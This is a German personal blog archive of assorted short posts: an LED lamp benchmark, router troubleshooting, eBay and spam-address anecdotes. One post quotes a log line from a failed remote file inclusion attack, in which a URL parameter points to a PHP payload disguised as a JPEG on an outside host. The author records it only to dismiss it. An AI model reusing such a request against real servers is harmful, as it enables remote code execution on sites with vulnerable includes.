Archiv der Kategorie: Restmüll

Alles, was sonst nicht passt

LED-Benchmark: Kampf der Dioden

Bereits seit einigen Wochen werkelt in meinem Wohnbereich eine LED-Lampe. Heut ist nun das zweite Modell für meinen Arbeitsbereich eingetroffen. Hier ein kleiner Vergleich.

Anfangen werde ich mit den Daten der „Wohn-Lampe“. Es handelt sich um ein 230V-Modell mit E14-Sockel und 78 LEDs, welche für ca. 16EUR bei einem großen Elektroversand bestellt werden kann. Im Shop findet sich keine Typenangabe, über die Verpackung lässt sich aber der Vertreiber samt Datenblatt ermitteln.

Die „Arbeits-Lampe“ ist ein Modell mit nur einer Hochleistungsdiode. Das Gehäuse fungiert als Kühlkörper. In der Ausführung mit E28-Sockel und einem Spannungsbereich von 85-265V ist sie über einen Onlineshop aus Hongkong für umgerechnet 11,50EUR incl. Versand erhältlich. Das „Datenblatt“ des Pappkartons ist mit Kuli ausgefüllt und enthält nur eine Hand voll Daten.

Übersicht der Herstellerangaben:

Bezeichnung Wohn-Lampe Arbeits-Lampe
Hersteller/Vertreiber LEDGalaxy ??
Modell JDR-1478-W ZV1-1? (Unleserlich)
LEDs 78 1
Farbe Weiß (6500°-8000°K) Weiß
Leistung 2,5-3W 3W
Spannung 230V 85-265V
Sockel E14 E28

Optisch fällt direkt auf, dass das Arbeits-Modell trotz des größeren Sockels durch die 1-LED-Technik deutlich kompakter ist. Das Wohn-Modell war Dank 63mm Durchmesser ohne Modifikation der Fassung nicht nutzbar. Dafür ist die Abwärme des 78er Modells geringer. Während diese Lampe auch nach längerem Betrieb lediglich Handwarm wird kann der Kühlkörper samt LED mit einem stark belastetem Notebook-Netzteil mithalten und ist knapp unter der „Zu warm zum festhalten“-Grenze.

Es folgen einige meiner Messwerte – diese sind nicht unter Laborbedingungen angefertigt […blabla…] aber sollten eine grobe Abschätzung zulassen.

Bezeichnung Wohn-Lampe Arbeits-Lampe
Lichtstärke
1m Abstand, frontal
100Lux 800Lux
Lichtstärke
1m Abstand, 10°
85Lux 35Lux
Lichtstärke
1m Abstand, 20°
70Lux 15Lux
Verbrauch
30 Sekunden nach Einschalten
6,0W 3,2W
13097
13092

Wie man sieht kann die Wohn-Lampe die angegebenen 45° ausspielen und sorgt auch in den Randbereichen für eine respektable Ausleuchtung. Das Streu-Licht einer Reflektorlampe kann sie nicht ersetzen, dagegen hält der Verbrauch von 6W – ob man nun eher auf Ausleuchtung oder Verbrauch schaut muss man selbst entscheiden. Ich habe zur Sicherheit neben der LED, welche als normale Durchgangs- und Lesebeleuchtung ausreichend ist, eine zusätzliche Leuchtstofflampe, welche bei Besuch o.Ä. genutzt werden kann.

13087
13082

Die Arbeitslampe hat exakt einen Anwendungsbereich: Punktuelle Ausleuchtung. Hier dürfte sie mit über 800Lux die meisten Glühlampen übertrumpfen. Ebenso deutlich wie die frontale Lichtstärke ist auch der Einbruch der selbigen in den Randbereichen – für Räume definitiv ungeeignet. Dafür wird der Verbrauch mit etwas über 3W nochmal halbiert. Dem Angegeben Spannungsbereich zu Urteilen könnte bei 110V sogar eine noch bessere Effizienz drin sein. Für die Beleuchtung meiner Bastelecke ist die Lampe kein Fehlgriff – das Licht Trifft präzise wie im OP auf meine Steckbretter.

Heute im Angebot: Mailrouter

Bei einigen Fehlermeldungen muss man schon schmunzeln…

[…]er hat einen Mailrouter bekommen[…]Was können wir nun da machen?

Eventuell lässt sich der Mailrouter ja bei gebraucht eBay verkaufen, ansonsten übernehme ich in solchen Fällen die Eliminierung des „Routers“ gegen einen kleinen Obulus in Form einer SMTP-Fehlermeldung…

Got an error.php?

Wird ja immer kreativer hier… Soeben schleicht sich folgende Zeile ins Log:

"GET /files/tools/****/errors.php?error=http://***.com.ar/images/idia.jpg??? HTTP/1.1" 404 319 "-" "libwww-perl/5.79"

Hinter dem JPEG verbirgt sich ein PHP-Quelltext, welcher mit
echo "NigeriaN HackerS TeaM";
endet

Netter Versuch, aber blind Dateien per $_GET includen hat sich selbst mein Azubi abgewöhnt und register_globals habe ich seit Jahren nirgendwo mehr aktiv gesehen. Dummerweise ist die Whois-Datenbank für .com.ar momentan down, sonst hätte ichs mal beim Provider versucht. So bleibt mir nur es MkSwap gleich zu tun und dem NHT einen schönen Tag zu wünschen…

Suchtstoffe im Shampoo?

Der ÖPNV entpuppt sich in Kombination mit Langeweile wieder als perfekter Platz für Verhaltensstudien. Heutiges „Opfer“ war eine jüngere Person, Haare etwas länger als Schulter. Aufgefallen war die Person, da sie auffällig oft die nicht vorhandene Frisur richten musste. Wie gesagt, Langeweile, daher mal mitgezählt: Die maximale Zeitspanne einer Hand-Haar-Abstinenz lag bei ganzen 14 Sekunden – Respekt…

Ach ja, ebay…

Langsam nervts wirklich. Nachdem die Hälfte der Seite inzwischen ohne Javascript unbenutzbar ist kann man inzwischen einige Aktionen nur noch machen, wenn man sich auf einen Artikel beschränkt. Hat man mehrere Artikel in verschiedenen Tabs offen kommt das System durcheinander. Lapidare Antwort des „Supports“:

[...]mehrere Artikel nicht gleichzeitig über unterschiedliche Tabs [...] sondern
nacheinander zu durchlaufen. Die Informationen[...]werden über Cookies gespeichert.

Da wäre ich nicht drauf gekommen…

UDP im RL

Auch, wenn es meist verboten ist: Telefonierende Fahrgäste in öffentlichen Verkehrsmitteln stören mich nicht wirklich. Diese sind auch nicht nerviger als die Stammreihe der Rentnerinnen, welche tagtäglich die Krankheitsfälle der lokalen Gemeinden synchronisieren und dabei vermutlich eine höhere Präzision erreichen als es die Datenbank der Gesundheitskarte je wird. Trotzdem gibt es etwas, das mir als Informatiker doch stark an den Nerven zerrt: Redundanz. Heute gab es wieder einen ganz besonderen Fall. Eine junge Frau war offenbar mit ihrem Freund am telefonieren. Irgendwann überkam sie das Bedürfnis dem anderen Gesprächsteilnehmer die aktuellen Zigarettenpreise zu nennen. Stille. Nochmal. Stille. Insgesamt sieben Versuche unternahm sie. Als ob ihr Handy eine Kombination aus UDP und schlechter Leitungsqualität darstellen würde und mit gefühlten 80% PacketWord-Loss zu kämpfen hätte. Ob die Übertragung nun durch ACK, Timeout oder „Das kannst du noch so oft sagen, mich interessiert es trotzdem nicht“ beendet wurde kann ich nicht sagen…

SPAM frei – Runde 2

Noch am selben Tag des Faxversands kam die Antwort der Versicherung:

Anhand der Kenn-Nummern haben wir festgestellt, dass Ihre Daten in einer Liste (Name der Liste: Esoterik) von folgender Firma angemietet wurden:

Uhm was?! Esoterik? Grade bei mir… Spricht jetzt nicht gerade für die Qualität der Liste. Die Vermietende Firma ist ein Stuttgarter Adresshändler, der selbstverständlich nun auch um Auskunft gebeten wird. Wird ja immer interessanter wo so Adressen herumfliegen…

Der Versicherung möchte ich noch positiv ankreiden, dass sie von sich aus angeboten haben meine Adresse in ihrer Datenbank zu speichern und als „möchte keine Werbung“ zu taggen. Das werde ich allerdings nicht in Anspruch nehmen, gegen Werbung habe ich nichts solange man es nicht übertreibt.

—edit—

OK, der Adresshändler sammelt weiter Minuspunke… Seine Seite besteht aus folgenden Sätzen, ich habe mal einen hervorgehoben:

Sie haben leider eine ältere Version von Adobe Flash Player, die die von uns erstellten Inhalte nicht abspielen kann. Die Seite setzt den Flash Player 8.0 voraus. Laden Sie sich bitte hier die neueste Version herunter, und installieren Sie sie. Der Vorgang dauert nur wenige Minuten. Der Flash Player ist kein Sicherheitsrisiko für Ihr System!

Da sind wirklich Profis am Werk…

Antwort auf die SPAM-Nachfrage

Die erste Antwort auf meine SPAM-Nachfrage ist soeben eingetrudelt. OK, bei einer großen Versicherung habe ich auch nicht erwartet, dass mein Schreiben unbeantwortet bleibt. Der Inhalt ist einerseits etwas enttäuschend, aber immerhin wird weitere Hilfe angeboten:

[…]Ihr Name und Adresse sind nicht bei uns vorhanden[…]Wir mieten Fremdadressen zur einmaligen Benutzung von Adressverlagen oder anderen Unternehmen, wie z.B. Versandhäusern, an.[…]wir dem anderen Unternehmen das benötigte Werbematerial
zur Verfügung stellen, welches dann entweder von dort aus oder von externen Dienstleisten (sog. Letter-Shops) mit den individuellen Daten bedruckt und verschickt wird.[…]

Selbstverständlich teilen wir Ihnen gerne mit, bei welchem Unternehmen Ihre Adresse gespeichert ist und zur Bewerbung mit unseren Versicherungsangeboten verwendet wurde.[…]Auf dem Angebotsvordruck sind oben links Kenn-Nummern (WEA ?, AKT ….?)
aufgedruckt, anhand derer feststellbar ist, welches Unternehmen im Besitz der Daten ist.
[…]

Immerhin eine Antwort, wenn auch nicht ganz die, die mir gefallen hätte. Da die Werbung dieser Versicherung nahezu wöchentlich eingetrudelt ist habe ich nun die Vermutung, dass dies durch mehrere Dienstleiter geschehen ist. Dummerweise habe ich nur noch das letzte Formular vorliegen. Nunja, ich habe die Daten trotzdem mal zugesendet, mal schauen woher dieser Datensatz stammte.

Verbinde…

Ich hasse es. Warum muss Murphy immer dann zuschlagen, wenn man es am wenigsten brauchen kann?. Eigentlich wollte ich nur meinen alten Server wieder Flott machen um einige Tests mit XEN für meinen neuen Rootserver zu machen, also die fast tonnenschwere 4-CPU-Kiste vom Speicher geholt und im Serverraum auf meinem Homeserver platziert. Schnell verkabelt und dann auf eine einstündige Diskettensuche begeben – CD-Boot wird nativ nicht unterstützt und auf die SCSI bekomme ich auch so schnell keinen Bootloader. Irgendwann hatte ich dann eine funktionierende Kopie des SBM Boot Manager. Gentoo-CD rein, per Bootloader umgeschaltet und los gehts: Partitionieren, RAID einrichten, LVM einrichten, Formatieren, mounten, Stage lade… uhm.. „Host not found“… Was?!

Blick auf den Laptop: Host not found, der Router vermeldet lediglich „Verbinde“. Gut, dass die Telekom-DSL-Verbindung gerne mal verreckt ist nichts neues, also Modem neu gestartet und PPPoE-Discovery gesendet – „Verbinde…Connection terminated by peer“. Irgendwann ging mein Blick dann ins IPMI-Log des Servers, auf dem mein Router untergebracht ist – „PCI hot removal successful“. Irgendwie hatte ich beim Absetzen des Servers wohl den Kontakt für Hotplug-PCI ausgelöst, was die Ethernetkarte für DSL abgeschaltet hatte. Da ich keine Ahnung von Hotplug-PCI unter Linux habe und ohne Netz auch keine passende Anleitung zur Hand war entschied ich mich zu einem Restart. Shutdown, Restart, BIOS, „Operating System not found“. Ufff.. Eigentlich wollte ich nur das Kompilieren des XEN-Servers anschmeißen und ins Bett, sind 3 Uhr… Boot-CD rein, gestartet, Blick auf die Platten: Alles OK, auch ein Grub da, also wo hängts. Die Antwort fand ich im BIOS: Irgendwie ist hier die Reihenfolge der Festplatten durcheinander gekommen. Geflucht, getauscht, gebootet, geguckt, „Verbinde…Connection terminated by peer“…

Wenn ich diesen Peer in die Finger bekomme gibts Tote. Wieder ein Blick auf den Router. Die Ethernet-Karte läuft. Auf ein PPPoE-Discovery meldet sich ebenfalls ein AC, also was jetzt… Noch ein paar Tests, Moment mal – Packet loss zwischen Router und DSL-Modem? Das sind 50cm CAT6-Kabel für 10BaseT. Schuld dieses mal war VMWare: Der Host hatte nach dem Restart eine Prüfung des RAIDs initiiert. Durch die hohe IO-Last konnte VMWare offenbar die NIC nicht mehr richtig emulieren. Eine halbe Stunde später war der Spuk vorbei – das RAID war clean, die NIC lief und der Router? „Verbinde…Connection terminated by peer“…

OK, keinen Nerv mehr, also auf dem XEN-Host das lokale Repository eingebunden, kompilieren gestartet, Bett, schlafen, weiterschlafen, aufwachen, Blick auf den Router: „Verbinde…Connection terminated by peer“

Ein Blick nebens Bett: Hammer oder Knoppix-CD. Ich entschied mich, dass Knoppix die schlimmere Strafe für den Router darstellen müsste. Hiermit sollte sich zudem recht schnell erkennen lassen, ob der Fehler am Router oder der Leitung zu suchen ist. Schnell noch aus dem Router die Zugangsdaten abgeschrie… moment… Benutzername leer? Nicht ganz, oder? Ob nun die Endian-Firewall unter Vergesslichkeit leidet oder ich in meinem 4-Uhr-Hirn-Aus-Muss-Reparieren-Zustand irgendwo falsch geklickt habe kann ich schlecht sagen, wohl aber, dass so ein Benutzername Wunder bekirken kann: „Verbinde…Verbunden“

Gute Tat zum Wochenende

Bei den meisten Mails, die ich nicht erwarte ist meine erste Reaktion die Entf-Taste, wenn allerdings eine Mail namens „xyz hat ihnen eine Nachricht gesendet“ über die Ebay-Server eintrudelt macht micht das dann doch etwas stutzig. Tatsächlich: Hinter dem sonst eher von SPAM-Versendern verwendeten Betreff versteckt sich eine sinnvolle Nachricht. Ein anderer Ebay-Nutzer hatte eine SATA-Karte, welche auch ich mein eigenen nenne und kam nicht weiter – die Treiber der CD würden nicht richtig funktionieren und der Händler melde sich nicht, daher würde er nun mich als vorherigen Käufer der Karte fragen. OK, etwas seltsame Anfrage, aber hilfsbereit wie ich bin eine Antwort zusammengestellt (zugegeben, mir war Langweilig weil mein Testrechner mit XEN-Kompilieren beschäftigt war). Zwar hatte ich die Treiber-CD direkt entsorgt und die Karte nie unter Windows verwendet, aber ein Hinweis auf das BIOS der Karte und die Nennung des verwendeten Chipsatzes (der ist weder auf der Karte noch in der Auktion angegeben) war dann doch drin. Eben kam dann die eine Mail zurück: Ein freundliches Dankeschön – die Treiber des Chipsatzherstellers würden „super“ funktionieren. Da sag noch einer Kompilieren würde keinem helfen 😉